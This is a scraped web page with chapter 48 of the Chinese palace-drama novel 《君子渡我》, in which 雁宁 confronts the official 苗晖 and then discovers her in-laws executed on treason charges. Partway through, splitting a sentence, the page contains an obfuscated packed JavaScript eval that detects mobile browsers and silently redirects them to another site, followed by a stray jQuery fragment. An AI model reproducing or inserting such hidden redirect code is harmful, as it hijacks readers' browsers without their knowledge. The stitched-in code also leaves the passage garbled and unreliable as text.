48. 掌家媳

作品:《君子渡我

    第48章


    “是。”


    雁宁恭敬地接过旨,旋即慢慢起身,看了眼躺在地上受伤的侍卫,眼里骤然间浮起一丝狠戾,质问起眼前之人:“他是你打伤的?”


    苗晖的手忽然悄悄覆在腰间的长鞭上,警惕道:“是我打伤的又如何?魏家也没个掌事的出来领旨,竟要你一个外人来,还真是悲哀啊。”


    她面色依旧平静,冷冷地看着他,沉声道:“我是兰殊新妇,自然也算是魏家人,一个大理寺卿而已,若非王上下令,自然还不配踏进我将军府,如今居然还在此没脸没皮的倚势凌人,真当将军府没人了吗?!”


    苗晖黑目蒙上一层冷意,目露鄙夷地睇了她一眼,满不在乎地耸肩:“打了又如何?不过只是一个侍卫罢了。”


    他仿佛在说什么无关痛痒的话,却字字如刀扎在她心头,她心里知道,这时绝对不能软弱,否则便是给他得寸进尺的机会,继续欺压魏家。


    雁宁睨着他的脸,再度淡然出声:“同他认错。”


    苗晖差点儿以为是自己听错了,他面色铁得发青,眼神里像是裹着刀子,语气更是不善:“你可知道我是谁?竟让我与此等低贱的侍卫认错,一介女流又有什么资格在此大放厥词,不过是个将死之人罢了。”


    她语调不高,却隐含着一种令人无法质疑的力量:“大理寺卿如此看轻他人性命,未免有些德不配位。”


    “闭嘴!”他瞬间暴怒,出声警告着她。


    雁宁面色丝毫未变,甚至不曾皱一下眉,径直开口:“纵自傲如落水,不必吹灰之力,终成灭顶之灾,风光的背后不是沧桑就是龌龊。”


    苗晖顿时面色大变,扬鞭甩了过去:“我让你闭嘴!”


    看见他扬鞭子,雁宁很快反应过来,下意识准确无误地握住了苗晖的长鞭,他明显顿了一下,想要收回,不料雁宁越抓越紧,与他对峙着。


    “我不怕你是一介莽夫,也不怕你是一个恃强凌弱的邪派,更不怕你是一个居功自傲,蛮横无理的无赖!”雁宁握住他长鞭的手微微施力,然而平静的语气中所隐含的淡淡威仪,让苗晖心中一怔。


    他举着长鞭的手被一股无法抗拒的力道轻松制住,苗晖一时无法抽回,狭长的眸一眯,眸光隐有阴戾:“别太把自己当回事!若魏将军明日还不回洛阳,那便是谋逆,当诛九族!”


    雁宁忽然松开长鞭,不料苗晖还没反应过来,猝不及防地摔倒在地。


    苗晖一抬头,就撞入她那深不可测的眸子里,他有些错愕地抬眸看着雁宁。


    雁宁深吸着气,十指攥紧了,将袖子攥出了深深的皱痕,毫不示弱地对上他凶恶的目光,冷然:“我阿耶不会谋反!他在边境与燕人浴血奋战之时,想必你还不知在哪处玩儿泥巴呢,大理寺卿又有什么资格说我阿耶对王上怀有不纯之心?”


    “你!”苗晖的神色一下子变得极为难看。


    他很快站起身子,掸了掸染上灰尘的袖子,气得胸膛剧烈起伏,沉声道:“我劝你提早做好最坏的打算,到时还看你有没有今日的伶牙俐齿!”


    “走!”他当下转身就离开了魏府。


    雁宁松了一口气,随即便将地上受伤的侍卫扶起来,关心问道:“可有伤得很重?还走的了吗?”


    侍卫颔首恭敬答道:“谢过五娘子的关心,我还能走。”


    “我让阿湄带你下去擦药吧。”雁宁主动说起。


    侍卫嘴角含笑:“是。”


    雁宁回屋之前,还特意去看过魏夫人,如今魏夫人的身子是越来越虚弱了,用过药也不见有所好转,雁宁是真的有些怕了。


    她凭窗而望,眸子里结满了愁绪,同云湄说道:“惜弱曾经跟我说过,王上忌惮魏家,便是因为阿耶长年驻守边境,领着二十万齐军,不肯回来,想必如今阿耶也知晓了。”


    云湄垂眸,语气坚定地说:“娘子放心,想必魏将军如今也在回洛阳的路上了,一家人很快便能团聚。”


    雁宁微微仰起脸庞,如窗外被风雨压得不堪重负的繁重海棠花一般,脆弱又无力。


    “但愿阿湄所说这些都是真的,已一月有余,我真的很想他。”她脸上泪痕斑斑,却盛满倔强,声音发紧。


    魏府接下来会发生什么翻天覆地的变化,她现如今全然不知,也猜不到。


    *


    翌日午时,雁宁刚从魏夫人的院落出来,中途忽然撞上火急火燎赶来的徐妈妈。


    雁宁疑惑:“徐妈妈怎的这样着急?”


    徐妈妈抬眸看着她,满眼惊恐:“将军出事了。”


    雁宁听到这个消息,像是被雷击中了一样,突然就听不到任何声音,耳边只剩嗡嗡的声响,浑身血液都往脑袋上涌。


    “五娘子,我还得去告诉夫人。”徐妈妈说着就想转身便走。


    雁宁即刻拉住她,整个身躯微微发颤,艰难地说道:“不要让母亲知晓此事,她受不了的。”


    徐妈妈这才反应过来,的确不应该将此等坏事让魏夫人知道,否则会发生什么事也是她说不准的。


    魏家可能真的出事了,包括魏兰殊。


    她的胸口像是压着千斤巨石,连空气都觉得如此稀薄。


    雁宁径直越过徐妈妈,步履加快,越来越快,最后索性抛却一切束缚奔跑起来。


    穿过许许多多的长廊,迎面而来的风灌满了她的双袖,裙裾一时翻飞,雁宁只觉得心疼得仿若炸裂,她却全然不在意。


    她甚至不知自己是如何走到前厅的,如羊脂玉般细腻的肌肤在太阳底下更显苍白,刺得她眼睛疼。


    途中却因没站稳脚跟而狼狈摔倒在地,雁宁摇摇晃晃地站起来,身上的裙裳被擦破,凌乱的发丝黏糊在她洁白的脖梗上。


    等候良久的叶惜弱迎上来说了些什么,她全然听不见了,眼中水雾模糊,耳畔里全是潮水般尖锐的嘶鸣。


    叶惜弱只好扶住她的双肩,蹙眉道:“魏兰殊不会回来了,他被困于淮江山多日,终被燕军找到,宁死不降。”


    时间紧迫,她只能略作口授,将大概真相说了出来。


    雁宁终于晃过神来,下意识张了张干裂的嘴唇,尽力发出了一丝声音,声音沙哑的不像话:“那我阿耶同长兄,还有姒妇呢?”


    叶惜弱望向她的眼神越发的晦涩难辨,艰涩道:“雁雁还是亲自去看看吧。”


    便是她这句话,雁宁已经能猜出其中之事,她恍惚地走在风中,身影单薄得让人心疼,仿佛要同落叶飘走一般。


    她浑浑噩噩地走到魏府门口,看着躺在地上被蒙着白布的几具尸体。


    雁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150149|177866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宁跪跌在地上,空洞地睁着双眼,泪珠不断地涌出,她颤抖着双手依次掀开白布,确认着身份。


    这一具尸是姒妇。


    这一具是阿耶。


    这一具是长兄……


    她下意识抬起了手狠命捂住了自己的嘴,心上猛地拢上一层愁云,袭过一阵揪心的疼痛,整个人陷入无尽的绝望之中。


    雁宁缓慢闭上了眼睛,像是认命一般,平淡地问了句:“他们犯了何等大罪,竟会落到这般下场?”


    为首之人一句话便说明了他们的死因:“魏允怀狼子野心,意图率兵谋反,罪不容诛,王上念及旧情,特予以全尸,至于其妻儿及家眷,流放边郡,此生不得回洛阳城。”


    雁宁闻言,有些愕然,这是公孙行的声音。


    她气得几乎浑身颤抖,似乎还能感觉得到泛起一股血腥味儿,雁宁艰难地回过头,看着公孙行沉沉道:“我阿耶不会谋反!”


    公孙行将灼热的目光落在她身上,淡淡开口:“五娘子,若你现在当众立即与魏家逆贼撇清关系,我可以保你一命。”


    雁宁抬眸望向他,瞳孔里翻涌着痛苦和悲楚,颤声道:“你做梦,我永远都是兰殊的细君!永远都是魏家妇!公孙少卿不必在此出言挑唆。”


    她颤颤巍巍地起身,开口的语气很克制,但言语下的不满和责问之意呼之欲出:“还有我阿耶不会谋反,他爱民如子,甚至胜过自己。”


    公孙行神色淡淡,并未有丝毫动容,视线在她身上扫了一圈便收了回去,声音冰冷:“还在狡辩?这便是从将军府书房搜出来的,魏家是逃不掉的,我劝你识相些,好好考虑考虑。”


    雁宁心里明白得很,王上忌惮魏家功高震主,他想要他死,魏将军不得不死。


    沉吟良久,徐妈妈搀扶着魏夫人缓缓走来。


    “母亲,您的身子还没好。”雁宁垂着的手微颤,忽然伸向了她。


    魏夫人凝望着雁宁,眸中某些情绪翻腾,却终是闭了闭眼睛,用力甩掉她伸过来的手。


    “我不是你母亲!”


    雁宁漆黑如墨的眼珠微微颤抖着,指节被握得发白,不可置信问道:“母亲?”


    魏夫人眉目肃然,语气中隐有厉色:“你们已然和离,从即日起,雁宁便还是程家女,不再是魏家妇!”


    她知道,魏夫人这样说是不想牵连自己,可她不能无情无义,只因为了活命而抛下他们。


    “我不走。”雁宁语气坚定。


    魏夫人几乎是瞬间勃然变色:“你难道想和我们一起死吗?!”


    雁宁摇了摇头,她原本略微有些蹙紧的眉头更紧了几分,深深地呼吸着,心有隐隐作痛:“我不想死,也不想府上任何一个人死,我答应过兰殊,要好好照顾母亲和祖母,绝不让你们受到一丝伤害,我去求求阿耶,他是御史,定会保住魏家的。”


    “你不要天真了。”魏夫人语气里夹杂着一切无奈:“叶小娘子,还请你带她离开。”


    叶惜弱闻言,想要带她离开魏府,不料雁宁很快挣开她的手,喊道:“我不走!”


    奈何她的力气不如叶惜弱,被拖走几步,频频回头看向魏夫人,沉声道:“我是不会离开魏府的……”


    叶惜弱没办法,为了护住雁宁的性命,只好抬手敲晕她。